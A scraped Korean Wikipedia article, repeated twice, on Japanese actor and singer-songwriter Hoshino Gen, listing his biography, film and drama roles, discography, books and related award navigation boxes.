저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
호시노 겐 - 위키백과, 우리 모두의 백과사전 호시노 겐 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 호시노 겐 기본 정보본명 星野 源출생 1981년 1월 28일(1981-01-28) (38세)국적 일본직업 배우, 싱어송라이터, 저술가 레이블 스피드스타 레코드소속사 아뮤즈 (음악업), 어른 계획 (배우업)소속 그룹 SAKEROCK웹사이트 공식 사이트 호시노 겐(일본어: 星野 源, 1981년 1월 28일 ~ )은, 일본의 배우, 싱어송라이터, 저술가이다. 사이타마현 와라비 시 출신 (초등학교까지는 카와구치 시), 지유노모리가쿠인 중학교·고등학교 졸업. 인스트루멘털 밴드 SAKEROCK의 리더로서, 주로 기타와 마림바를 담당. 소속은 아뮤즈 (음악업), 어른 계획 (배우업). 문필가로서도 다수의 연재를 하고 있다. 목차 1 내력 2 출연 2.1 영화 2.2 드라마 3 음반 작품 3.1 CD 싱글 3.2 CD 앨범 3.3 옴니버스 4 저서 5 외부 링크 내력[편집] 중학교 1학년부터 연극 활동과 음악 활동을 동시 병행으로 스타트. 《인간 고하산》 참가를 계기로 어른 계획 사무소 소속이 된다. 또, 2000년에 결성한 밴드 “SAKEROCK”을 필두로, 싱어송라이터로서의 음악 활동도 활발. “호시노 겐”으로서 2011년에 발표한 2nd 앨범 《에피소드》는, 오리콘 위클리 차트(2011년 10월 10일 자)에서 5위를 획득, 제4회 CD 숍 대상 준대상을 수상했다. 덧붙여 경애 하는 호소노 하루오미와는 2005년에 사이타마 현 사야마 시에서 행해진 〈HYDE PARK MUSIC FESTIVAL〉에서의 공동 출연을 계기로 잡지에서 공동 연재를 하는 등 교류가 깊어지고 있다. 영상 제작 유닛 〈야마다 이치로〉(호시노 겐, 야마기시 산타, 오오하라 다이지로)를 주재해, 제작한 SAKEROCK의 MV 《호냐라라》는, SPACE SHOWER Music Video Awards 09의 BEST COCEPTUAL VIDEO상을 수상했다. 출연[편집] 영화[편집] 년도 제목 배역 2004 《69 sixty nine》 2008 《논코 36세 (가정부)》 마사루 역 2008 《소년 메리켄사쿠》 2013 《세인트☆영멘》 붓다 역 성우 2013 《묻지마 사랑》 켄타로 역 2013 《지옥이 뭐가 나빠》 코지 역 2015 《러브 앤 피스》 2017 《밤은 짧아 걸어 아가씨야》 선배 역 성우 2018 《미래의 미라이》 아빠 역 성우 2019 《이사하는 무사》 카타기리 하루노스케 역 드라마[편집] 년도 제목 배역 2003 《워터보이즈》 2003 《맨하탄 러브스토리》 2004 《돌 하우스》 2004 《여자들의 죄와 벌》 2004 《이혼변호사》 2004 《토키오 아버지에게의 전언》 2004 《상냥한 시간》 2005 《타이거 앤 드래곤》 2006 《아키하바라@딥》 2006 《또 하나의 슈가 앤 스파이스》 2007 《도쿄 타워: 엄마와 나, 때때로 아빠》 2007 《탐정학원 Q》 네코다 형사 역 2008 《미래강사 메구루》 에구치 히데오 역 2008 《주간 마키 요코》 2009 《고스트 프렌즈》 2010 《게게게의 여보》 2011 《11명이나 있어!》 사나다 히로유키 역 2014 《어젯밤의 카레, 내일의 빵》 테라야마 카즈키 역 2015 《코우노도리》 시노미야 하루키 역 2016 《사나다마루》 도쿠가와 히데타다 역 2016 《도망치는 건 부끄럽지만 도움이 된다》 츠자키 히라마사 역 2017 《플라주》 타카오 역 2017 《코우노도리 시즌2》 시노미야 하루키 역 음반 작품[편집] CD 싱글[편집] 매 발매일 타이틀 최고 순위 1 2011.03.02 くだらないの中に 시시함 속에 17위 2 2012.02.08 フィルム 필름 4위 3 2012.07.04 夢の外へ 꿈 너머로 8위 4 2012.11.28 知らない 모르겠어 5위 5 2013.05.08 ギャグ 개그 4위 6 2013.10.02 地獄でなぜ悪い 지옥이 뭐가 나빠 5위 7 2014.06.11 Crazy Crazy/桜の森 Crazy Crazy/벚꽃 숲 4위 8 2015.05.27 SUN 2위 9 2016.10.05 恋 사랑 2위 10 2017.08.16 Family Song 1위 11 2018.02.28 ドラえもん 도라에몽 1위 CD 앨범[편집] 매 발매일 타이틀 최고 순위 1 2010.06.23 ばかのうた 바보의 노래 36위 2 2011.09.28 エピソード 에피소드 5위 3 2013.05.01 Stranger 2위 4 2015.12.02 YELLOW DANCER 1위 옴니버스[편집] りんごの子守唄 / 사과의 자장가 (2007년) 09. All Things Must Pass - 나카노 요시에+호시노 겐 デイジー・ホリデー / 데이지 홀리데이 V.A. Presented by 호소노 하루오미 (2008년) 22. デイジーお味噌汁 / 데이지 미소시루 - 호시노 겐 저서[편집] 『そして生活はつづく』그리고 생활은 계속된다(2009) 『働く男』일하는 남자(2013) 『蘇える変態』되살아난 변태(2014) 『星野源 雑談集1』호시노겐 잡담집(2014) 『地平線の相談』지평선의 상담(2015) 『いのちの車窓から』생명의 차창에서(2017) 외부 링크[편집] (일본어) 호시노 겐 공식 사이트 (일본어) 호시노 겐 아뮤즈 공식 사이트 (일본어) 호시노 겐 official - 트위터 (일본어) 호시노 겐 어른 계획 공식 사이트 (일본어) SAKEROCK 공식 사이트 vdeh아뮤즈뮤지션 이승기 WEAVER 우에키 고 과학 구명 기구 로지카? CASCADE CROSS GENE 사에라 사쿠라 학원 사잔 오루 스타즈 선 플라자 나카노 군 SCOOPERS Skoop On Somebody sleepiece ZEBRA QUEEN 타카하시 유 Tama 타와타 에미 TIGARAH DEAN FUJIOKA Teinklestars HaKU 팟파라 카와이 Perfume BEGIN 후쿠야마 마사하루 후지와라 사쿠라 flumpool FLOW Hemenway BABYMETAL 호시노 겐 포르노 그라피티 MIHIRO ~마이로~ 만만슈오 미니파티 미야케 유지 미야코 Mayday MONOBRIGHT Rihwa Red Dracul Scar Tissue ONE OK ROCK 배우·탤런트(남성) 아오야기 루이토 이시하라 소마 이즈카 켄타 이토 나오토 이마이 타카후미 이와타 료 이와 요시토 우에키 고 우에노 가이 우에하라 타쿠야 오오타 마사키 오오무라 마나부 오카다 요시노리 오구라 히사히로 카쿠 켄토 카자마 유지로 카스가 요시키 카토 준이치 카토 하루히코 카부모토 히데아키 카미키 류노스케 키시타니 고로 극단 프레스테이지 코이케 아리노리 코이데 케이스케 코노 쇼타로 코세키 유타 사카타 나오키 사쿠라다 도리 사토 타케루 선 플라자 나카노 군 소노다 레오나 타카토 유키 타카하시 히데유키 치사카 켄스케 TEAM NACS 테라와키 야스후미 DEAN FUJIOKA/후지오카 딘 토타니 키미토 토네사쿠 토시히데 토미타 켄타로 나카무라 류 나가오 타쿠야 노무라 슈헤이 하시모토 아츠시 하야시 츠요시 하라다 신페이 히라오카 유타 히라노 키나리 히라마 소이치 후쿠시마 카이타 후쿠야마 마사하루 마츠오카 코다이 마츠시마 쇼타 미우라 하루마 미즈타 코키 미조구치 타쿠야 미무라 카즈노리 미야케 유지 모리 하야시 야마시타 긴지 유키 요헤이 요시자와 료 요시무라 타쿠야 와타나베 슈 배우·탤런트(여성) 아소 카호리 아베 나나미 아라키 미유 이시다 니콜 이시야마 렌게 이타야 유카 이치게 요시에 우에노 쥬리 우치무라 쥬리 오오무라 사코 오쿠야마 요시에 오호 사요코 카가미 세이라 카토 타카코 카나이 미키 카노 치카 칸자키 레나 칸노 리오 키노시타 미사키 코마츠 아야카 사이조 히카리 사카노우에 아카네 시부야 미유 시마 유이카 시미즈 쿠루미 시무라 레나 스도 리사 세토 스이코 타카하시 하루나 타지마 유미카 타치바나 에리 타나카 코나츠 타나카 미하루 타노 아사미 타모리 미사키 츠네마츠 유리 TOKYO PANDA 토쿠마루 코토노 토미타 야스코 나카가와 카나 나카무라 리호 나카모토 스즈카 나카 리이사 하즈마 유코 히라타 카오루 히로이 유 후카츠 에리 후쿠다 아야노 후지사와 나나 호란 치아키 혼다 리카 마츠이 아이리 마츠다 사키 미요시 아야카 무라카와 에리 모리구치 아야노 야기 아리사 야코 하루나 야마모토 히카루 요시타카 유리코 요시다 케이코 리 이제 로쿠샤 나나 관련 회사 아뮤즈 모델스 아뮤즈 소프트 엔터테인먼트 아뮤즈 북스 A-Sketch 쇼게이트 트라이넷 엔터테인먼트 CREATIVE OFFICE CUE 에어즈  공식 사이트 vdeh마이니치 영화 콩쿠르 스포니치 그랑프리 신인상1940년대 와카야마 세츠코 (1947) 1980년대 하라다 토모요 (1983) 킷카와 코지, 사쿠라 시오리 (1984) 사이토 유키, 첵커즈 (1985) 와시오 이사코, 나카무라 토오루 (1986) 타카시마 마사히로, 미나미노 요코 (1987) 오토코구미, 카타오카 츠루타로, 미야자와 리에 (1988) 카와하라 아야코, 아카이 하데카즈 (1989) 1990년대 마키세 리호 (1990) 이시다 히카리 (1991) 스미다 유키, 오모리 요시노부 (1992) 타바타 토모코, 하카마다 요시히코 (1993) 노무라 유진, 스즈키 사와 (1994) 잇시키 사에, 에스미 마키코 (1995) 안도 마사노부, 스즈키 사이코 (1996) 히로스에 료코, 요시카와 히나노 (1997) 다나카 레나, 타다노 미아코 (1998) 오시다리 아키코, 이케와키 치즈루 (1999) 2000년대 안도 노조미, 마츠다 류헤이 (2000) 쿠보즈카 요스케, 시바사키 코우 (2001) 나카무라 시도, 이치카와 미카코, 김수진 (2002) 오오니시 타키지로, 미야사코 히로유키 (2003) 츠치야 안나, 야기라 유야, 우에노 주리 (2004) 이시다 호시, 세키 메구미 (2005) 츠카지 무가, 단 레이 (2006) 마츠다 쇼타, 나루미 리코 (2007) 미우라 하루마, 나카 리이사 (2008) 니시지마 타카히로, 미츠시마 히카리 (2009) 2010년대 엔도 카나메, 토쿠나가 에리 (2010) 소메타니 쇼타, 쿠츠나 시오리 (2011) 히가시데 마사히로, 미요시 아야카 (2012) 호시노 겐, 하마다 여기네요 (2013) 토사카 히로오미, 코마츠 나나 (2014) 노다 요지로, 후지노 료코 (2015) 마이구마 카츠야, 나카조 아야미 (2016) 타카스기 마히로, 아오이 이토 (2017) 타마오키 레오, 마이 키류 (2018) 일본영화대상 감독상 남우주연상 여우주연상 남우조연상 여우조연상 스포니치 그랑프리 신인상 다나카 기누요상 vdeh더 텔레비전 드라마 아카데미상 남우조연상1회 - 10회('94 [2] - '96 [3])1. 키시타니 고로 | 2. 아즈마 미키히사 | 3. 키시타니 고로 | 4. 타카하시 카츠노리 | 5. 니시무라 마사히코 | 6. 이마다 코지 | 7. 카토리 싱고 | 8. 니시무라 마사히코 | 9. 타케노우치 유타카 | 10. 타마키 코지11회 - 20회('96 [4] - '99 [1])11. 타케노우치 유타카 | 12. 와타베 아츠로 | 13. 우치노 마사아키 | 14. 하기와라 마사토 | 15. 노무라 만사이 | 16. 타키자와 히데아키 | 17. 키시타니 고로 | 18. 카미카와 타카야 | 19. 후키코시 미츠루 | 20. 와타베 아츠로21회 - 30회('99 [2] - '01 [3])21. 이시이 마사노리 | 22. 시이나 킷페이 | 23. 오오사와 타카오 | 24. 와타베 아츠로 | 25. 쿠보즈카 요스케 | 26. 카토리 싱고 | 27. 츠츠미 신이치 | 28. 쿠보즈카 요스케 | 29. 카토리 싱고 | 30. 아베 히로시31회 - 40회('01 [4] - '04 [1])31. 시이나 킷페이 | 32. 후지키 나오히토 | 33. 마츠모토 준 | 34. 츠마부키 사토시 | 35. 도모토 코이치 | 36. 츠츠미 신이치 | 37. 후루타 아라타 | 38. 모리야마 미라이 | 39. 키타무라 카즈키 | 40. 와타나베 켄41회 - 50회('04 [2] - '06 [3])41. 사이토 류세이 | 42. 아베 히로시 | 43. 야마모토 코지 | 44. 카메나시 카즈야 | 45. 니시다 토시유키 | 46. 이토 아츠시 | 47. 마츠모토 준 | 48. 타케다 테츠야 | 49. 이토 히데아키 | 50. 다나카 코키51회 - 60회('06 [4] - '09 [1])51. 츠츠미 신이치 | 52. 키타오오지 킨야 | 53. 키타무라 카즈키 | 54. 이쿠타 토마 | 55. 오오이즈미 요 | 56. 마츠다 류헤이 | 57. 니시키도 료 | 58. 이치하라 하야토 | 59. 오가타 켄 | 60. 사토 타케루61회 - 70회('09 [2] - '11 [3])61. 다케노우치 유타카 | 62. 사카이 마사토 | 63. 우치노 마사아키 | 64. 오이카와 미츠히로 | 65. 아라타 | 66. 무카이 오사무 | 67. 카가와 테루유키 | 68. 타카시마 마사노부 | 69. 우치노 마사아키 | 70. 카자마 슌스케71회 - 80회('11 [4] - '14 [1])71. 하세가와 히로키 | 72. 에이타 | 73. 사토 코이치 | 74. 키타무라 유키야 | 75. 나카이 키이치 | 76. 요시다 코타로 | 77. 카미키 류노스케 | 78. 카가와 테루유키 | 79. 오카다 마사키 | 80. 히가시데 마사히로81회 - 90회('14 [2] - '16 [3])81. 스다 마사키 | 82. 요시다 코타로 | 83. 쿠보타 마사타카 | 84. 하세가와 히로키 | 85. 스즈키 료헤이 | 86. 타카하시 잇세이 | 87. 킷카와 코지 | 88. 타마키 히로시 | 89. 야기라 유야 | 90. 카라사와 토시아키91회 - 100회('16 [4] - '19 [1])91. 호시노 겐 | 92. 아사노 타다노부 | 93. 히가시데 마사히로 | 94. 타케우치 료마 | 95. 타카하시 잇세이 | 96. 이우라 아라타 | 97. 요시다 코타로 | 98. 사토 타케루 | 99. 요카다 타케시 | 100. 요코하마 류세이 전거 통제 WorldCat VIAF: 159904828 LCCN: no2010192517 ISNI: 0000 0001 0715 5564 뮤직브레인즈: 2c6c53ea-09d4-4d98-b174-c9aa83d4fecf NDL: 01089309 원본 주소 "https://ko.wikipedia.org/w/index.php?title=호시노_겐&oldid=24070147" 분류: 일본의 남자 배우일본의 음악가빅터 엔터테인먼트의 음악가NHK 홍백가합전 출연자사이타마현 출신1981년 태어남살아있는 사람일본의 남자 싱어송라이터숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 تۆرکجهEnglishEspañolفارسیBahasa Indonesia日本語РусскийTiếng Việt中文粵語 링크 편집 이 문서는 2019년 4월 19일 (금) 21:01에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
호시노 겐 - 위키백과, 우리 모두의 백과사전 호시노 겐 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 호시노 겐 기본 정보본명 星野 源출생 1981년 1월 28일(1981-01-28) (38세)국적 일본직업 배우, 싱어송라이터, 저술가 레이블 스피드스타 레코드소속사 아뮤즈 (음악업), 어른 계획 (배우업)소속 그룹 SAKEROCK웹사이트 공식 사이트 호시노 겐(일본어: 星野 源, 1981년 1월 28일 ~ )은, 일본의 배우, 싱어송라이터, 저술가이다. 사이타마현 와라비 시 출신 (초등학교까지는 카와구치 시), 지유노모리가쿠인 중학교·고등학교 졸업. 인스트루멘털 밴드 SAKEROCK의 리더로서, 주로 기타와 마림바를 담당. 소속은 아뮤즈 (음악업), 어른 계획 (배우업). 문필가로서도 다수의 연재를 하고 있다. 목차 1 내력 2 출연 2.1 영화 2.2 드라마 3 음반 작품 3.1 CD 싱글 3.2 CD 앨범 3.3 옴니버스 4 저서 5 외부 링크 내력[편집] 중학교 1학년부터 연극 활동과 음악 활동을 동시 병행으로 스타트. 《인간 고하산》 참가를 계기로 어른 계획 사무소 소속이 된다. 또, 2000년에 결성한 밴드 “SAKEROCK”을 필두로, 싱어송라이터로서의 음악 활동도 활발. “호시노 겐”으로서 2011년에 발표한 2nd 앨범 《에피소드》는, 오리콘 위클리 차트(2011년 10월 10일 자)에서 5위를 획득, 제4회 CD 숍 대상 준대상을 수상했다. 덧붙여 경애 하는 호소노 하루오미와는 2005년에 사이타마 현 사야마 시에서 행해진 〈HYDE PARK MUSIC FESTIVAL〉에서의 공동 출연을 계기로 잡지에서 공동 연재를 하는 등 교류가 깊어지고 있다. 영상 제작 유닛 〈야마다 이치로〉(호시노 겐, 야마기시 산타, 오오하라 다이지로)를 주재해, 제작한 SAKEROCK의 MV 《호냐라라》는, SPACE SHOWER Music Video Awards 09의 BEST COCEPTUAL VIDEO상을 수상했다. 출연[편집] 영화[편집] 년도 제목 배역 2004 《69 sixty nine》 2008 《논코 36세 (가정부)》 마사루 역 2008 《소년 메리켄사쿠》 2013 《세인트☆영멘》 붓다 역 성우 2013 《묻지마 사랑》 켄타로 역 2013 《지옥이 뭐가 나빠》 코지 역 2015 《러브 앤 피스》 2017 《밤은 짧아 걸어 아가씨야》 선배 역 성우 2018 《미래의 미라이》 아빠 역 성우 2019 《이사하는 무사》 카타기리 하루노스케 역 드라마[편집] 년도 제목 배역 2003 《워터보이즈》 2003 《맨하탄 러브스토리》 2004 《돌 하우스》 2004 《여자들의 죄와 벌》 2004 《이혼변호사》 2004 《토키오 아버지에게의 전언》 2004 《상냥한 시간》 2005 《타이거 앤 드래곤》 2006 《아키하바라@딥》 2006 《또 하나의 슈가 앤 스파이스》 2007 《도쿄 타워: 엄마와 나, 때때로 아빠》 2007 《탐정학원 Q》 네코다 형사 역 2008 《미래강사 메구루》 에구치 히데오 역 2008 《주간 마키 요코》 2009 《고스트 프렌즈》 2010 《게게게의 여보》 2011 《11명이나 있어!》 사나다 히로유키 역 2014 《어젯밤의 카레, 내일의 빵》 테라야마 카즈키 역 2015 《코우노도리》 시노미야 하루키 역 2016 《사나다마루》 도쿠가와 히데타다 역 2016 《도망치는 건 부끄럽지만 도움이 된다》 츠자키 히라마사 역 2017 《플라주》 타카오 역 2017 《코우노도리 시즌2》 시노미야 하루키 역 음반 작품[편집] CD 싱글[편집] 매 발매일 타이틀 최고 순위 1 2011.03.02 くだらないの中に 시시함 속에 17위 2 2012.02.08 フィルム 필름 4위 3 2012.07.04 夢の外へ 꿈 너머로 8위 4 2012.11.28 知らない 모르겠어 5위 5 2013.05.08 ギャグ 개그 4위 6 2013.10.02 地獄でなぜ悪い 지옥이 뭐가 나빠 5위 7 2014.06.11 Crazy Crazy/桜の森 Crazy Crazy/벚꽃 숲 4위 8 2015.05.27 SUN 2위 9 2016.10.05 恋 사랑 2위 10 2017.08.16 Family Song 1위 11 2018.02.28 ドラえもん 도라에몽 1위 CD 앨범[편집] 매 발매일 타이틀 최고 순위 1 2010.06.23 ばかのうた 바보의 노래 36위 2 2011.09.28 エピソード 에피소드 5위 3 2013.05.01 Stranger 2위 4 2015.12.02 YELLOW DANCER 1위 옴니버스[편집] りんごの子守唄 / 사과의 자장가 (2007년) 09. All Things Must Pass - 나카노 요시에+호시노 겐 デイジー・ホリデー / 데이지 홀리데이 V.A. Presented by 호소노 하루오미 (2008년) 22. デイジーお味噌汁 / 데이지 미소시루 - 호시노 겐 저서[편집] 『そして生活はつづく』그리고 생활은 계속된다(2009) 『働く男』일하는 남자(2013) 『蘇える変態』되살아난 변태(2014) 『星野源 雑談集1』호시노겐 잡담집(2014) 『地平線の相談』지평선의 상담(2015) 『いのちの車窓から』생명의 차창에서(2017) 외부 링크[편집] (일본어) 호시노 겐 공식 사이트 (일본어) 호시노 겐 아뮤즈 공식 사이트 (일본어) 호시노 겐 official - 트위터 (일본어) 호시노 겐 어른 계획 공식 사이트 (일본어) SAKEROCK 공식 사이트 vdeh아뮤즈뮤지션 이승기 WEAVER 우에키 고 과학 구명 기구 로지카? CASCADE CROSS GENE 사에라 사쿠라 학원 사잔 오루 스타즈 선 플라자 나카노 군 SCOOPERS Skoop On Somebody sleepiece ZEBRA QUEEN 타카하시 유 Tama 타와타 에미 TIGARAH DEAN FUJIOKA Teinklestars HaKU 팟파라 카와이 Perfume BEGIN 후쿠야마 마사하루 후지와라 사쿠라 flumpool FLOW Hemenway BABYMETAL 호시노 겐 포르노 그라피티 MIHIRO ~마이로~ 만만슈오 미니파티 미야케 유지 미야코 Mayday MONOBRIGHT Rihwa Red Dracul Scar Tissue ONE OK ROCK 배우·탤런트(남성) 아오야기 루이토 이시하라 소마 이즈카 켄타 이토 나오토 이마이 타카후미 이와타 료 이와 요시토 우에키 고 우에노 가이 우에하라 타쿠야 오오타 마사키 오오무라 마나부 오카다 요시노리 오구라 히사히로 카쿠 켄토 카자마 유지로 카스가 요시키 카토 준이치 카토 하루히코 카부모토 히데아키 카미키 류노스케 키시타니 고로 극단 프레스테이지 코이케 아리노리 코이데 케이스케 코노 쇼타로 코세키 유타 사카타 나오키 사쿠라다 도리 사토 타케루 선 플라자 나카노 군 소노다 레오나 타카토 유키 타카하시 히데유키 치사카 켄스케 TEAM NACS 테라와키 야스후미 DEAN FUJIOKA/후지오카 딘 토타니 키미토 토네사쿠 토시히데 토미타 켄타로 나카무라 류 나가오 타쿠야 노무라 슈헤이 하시모토 아츠시 하야시 츠요시 하라다 신페이 히라오카 유타 히라노 키나리 히라마 소이치 후쿠시마 카이타 후쿠야마 마사하루 마츠오카 코다이 마츠시마 쇼타 미우라 하루마 미즈타 코키 미조구치 타쿠야 미무라 카즈노리 미야케 유지 모리 하야시 야마시타 긴지 유키 요헤이 요시자와 료 요시무라 타쿠야 와타나베 슈 배우·탤런트(여성) 아소 카호리 아베 나나미 아라키 미유 이시다 니콜 이시야마 렌게 이타야 유카 이치게 요시에 우에노 쥬리 우치무라 쥬리 오오무라 사코 오쿠야마 요시에 오호 사요코 카가미 세이라 카토 타카코 카나이 미키 카노 치카 칸자키 레나 칸노 리오 키노시타 미사키 코마츠 아야카 사이조 히카리 사카노우에 아카네 시부야 미유 시마 유이카 시미즈 쿠루미 시무라 레나 스도 리사 세토 스이코 타카하시 하루나 타지마 유미카 타치바나 에리 타나카 코나츠 타나카 미하루 타노 아사미 타모리 미사키 츠네마츠 유리 TOKYO PANDA 토쿠마루 코토노 토미타 야스코 나카가와 카나 나카무라 리호 나카모토 스즈카 나카 리이사 하즈마 유코 히라타 카오루 히로이 유 후카츠 에리 후쿠다 아야노 후지사와 나나 호란 치아키 혼다 리카 마츠이 아이리 마츠다 사키 미요시 아야카 무라카와 에리 모리구치 아야노 야기 아리사 야코 하루나 야마모토 히카루 요시타카 유리코 요시다 케이코 리 이제 로쿠샤 나나 관련 회사 아뮤즈 모델스 아뮤즈 소프트 엔터테인먼트 아뮤즈 북스 A-Sketch 쇼게이트 트라이넷 엔터테인먼트 CREATIVE OFFICE CUE 에어즈  공식 사이트 vdeh마이니치 영화 콩쿠르 스포니치 그랑프리 신인상1940년대 와카야마 세츠코 (1947) 1980년대 하라다 토모요 (1983) 킷카와 코지, 사쿠라 시오리 (1984) 사이토 유키, 첵커즈 (1985) 와시오 이사코, 나카무라 토오루 (1986) 타카시마 마사히로, 미나미노 요코 (1987) 오토코구미, 카타오카 츠루타로, 미야자와 리에 (1988) 카와하라 아야코, 아카이 하데카즈 (1989) 1990년대 마키세 리호 (1990) 이시다 히카리 (1991) 스미다 유키, 오모리 요시노부 (1992) 타바타 토모코, 하카마다 요시히코 (1993) 노무라 유진, 스즈키 사와 (1994) 잇시키 사에, 에스미 마키코 (1995) 안도 마사노부, 스즈키 사이코 (1996) 히로스에 료코, 요시카와 히나노 (1997) 다나카 레나, 타다노 미아코 (1998) 오시다리 아키코, 이케와키 치즈루 (1999) 2000년대 안도 노조미, 마츠다 류헤이 (2000) 쿠보즈카 요스케, 시바사키 코우 (2001) 나카무라 시도, 이치카와 미카코, 김수진 (2002) 오오니시 타키지로, 미야사코 히로유키 (2003) 츠치야 안나, 야기라 유야, 우에노 주리 (2004) 이시다 호시, 세키 메구미 (2005) 츠카지 무가, 단 레이 (2006) 마츠다 쇼타, 나루미 리코 (2007) 미우라 하루마, 나카 리이사 (2008) 니시지마 타카히로, 미츠시마 히카리 (2009) 2010년대 엔도 카나메, 토쿠나가 에리 (2010) 소메타니 쇼타, 쿠츠나 시오리 (2011) 히가시데 마사히로, 미요시 아야카 (2012) 호시노 겐, 하마다 여기네요 (2013) 토사카 히로오미, 코마츠 나나 (2014) 노다 요지로, 후지노 료코 (2015) 마이구마 카츠야, 나카조 아야미 (2016) 타카스기 마히로, 아오이 이토 (2017) 타마오키 레오, 마이 키류 (2018) 일본영화대상 감독상 남우주연상 여우주연상 남우조연상 여우조연상 스포니치 그랑프리 신인상 다나카 기누요상 vdeh더 텔레비전 드라마 아카데미상 남우조연상1회 - 10회('94 [2] - '96 [3])1. 키시타니 고로 | 2. 아즈마 미키히사 | 3. 키시타니 고로 | 4. 타카하시 카츠노리 | 5. 니시무라 마사히코 | 6. 이마다 코지 | 7. 카토리 싱고 | 8. 니시무라 마사히코 | 9. 타케노우치 유타카 | 10. 타마키 코지11회 - 20회('96 [4] - '99 [1])11. 타케노우치 유타카 | 12. 와타베 아츠로 | 13. 우치노 마사아키 | 14. 하기와라 마사토 | 15. 노무라 만사이 | 16. 타키자와 히데아키 | 17. 키시타니 고로 | 18. 카미카와 타카야 | 19. 후키코시 미츠루 | 20. 와타베 아츠로21회 - 30회('99 [2] - '01 [3])21. 이시이 마사노리 | 22. 시이나 킷페이 | 23. 오오사와 타카오 | 24. 와타베 아츠로 | 25. 쿠보즈카 요스케 | 26. 카토리 싱고 | 27. 츠츠미 신이치 | 28. 쿠보즈카 요스케 | 29. 카토리 싱고 | 30. 아베 히로시31회 - 40회('01 [4] - '04 [1])31. 시이나 킷페이 | 32. 후지키 나오히토 | 33. 마츠모토 준 | 34. 츠마부키 사토시 | 35. 도모토 코이치 | 36. 츠츠미 신이치 | 37. 후루타 아라타 | 38. 모리야마 미라이 | 39. 키타무라 카즈키 | 40. 와타나베 켄41회 - 50회('04 [2] - '06 [3])41. 사이토 류세이 | 42. 아베 히로시 | 43. 야마모토 코지 | 44. 카메나시 카즈야 | 45. 니시다 토시유키 | 46. 이토 아츠시 | 47. 마츠모토 준 | 48. 타케다 테츠야 | 49. 이토 히데아키 | 50. 다나카 코키51회 - 60회('06 [4] - '09 [1])51. 츠츠미 신이치 | 52. 키타오오지 킨야 | 53. 키타무라 카즈키 | 54. 이쿠타 토마 | 55. 오오이즈미 요 | 56. 마츠다 류헤이 | 57. 니시키도 료 | 58. 이치하라 하야토 | 59. 오가타 켄 | 60. 사토 타케루61회 - 70회('09 [2] - '11 [3])61. 다케노우치 유타카 | 62. 사카이 마사토 | 63. 우치노 마사아키 | 64. 오이카와 미츠히로 | 65. 아라타 | 66. 무카이 오사무 | 67. 카가와 테루유키 | 68. 타카시마 마사노부 | 69. 우치노 마사아키 | 70. 카자마 슌스케71회 - 80회('11 [4] - '14 [1])71. 하세가와 히로키 | 72. 에이타 | 73. 사토 코이치 | 74. 키타무라 유키야 | 75. 나카이 키이치 | 76. 요시다 코타로 | 77. 카미키 류노스케 | 78. 카가와 테루유키 | 79. 오카다 마사키 | 80. 히가시데 마사히로81회 - 90회('14 [2] - '16 [3])81. 스다 마사키 | 82. 요시다 코타로 | 83. 쿠보타 마사타카 | 84. 하세가와 히로키 | 85. 스즈키 료헤이 | 86. 타카하시 잇세이 | 87. 킷카와 코지 | 88. 타마키 히로시 | 89. 야기라 유야 | 90. 카라사와 토시아키91회 - 100회('16 [4] - '19 [1])91. 호시노 겐 | 92. 아사노 타다노부 | 93. 히가시데 마사히로 | 94. 타케우치 료마 | 95. 타카하시 잇세이 | 96. 이우라 아라타 | 97. 요시다 코타로 | 98. 사토 타케루 | 99. 요카다 타케시 | 100. 요코하마 류세이 전거 통제 WorldCat VIAF: 159904828 LCCN: no2010192517 ISNI: 0000 0001 0715 5564 뮤직브레인즈: 2c6c53ea-09d4-4d98-b174-c9aa83d4fecf NDL: 01089309 원본 주소 "https://ko.wikipedia.org/w/index.php?title=호시노_겐&oldid=24070147" 분류: 일본의 남자 배우일본의 음악가빅터 엔터테인먼트의 음악가NHK 홍백가합전 출연자사이타마현 출신1981년 태어남살아있는 사람일본의 남자 싱어송라이터숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 تۆرکجهEnglishEspañolفارسیBahasa Indonesia日本語РусскийTiếng Việt中文粵語 링크 편집 이 문서는 2019년 4월 19일 (금) 21:01에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 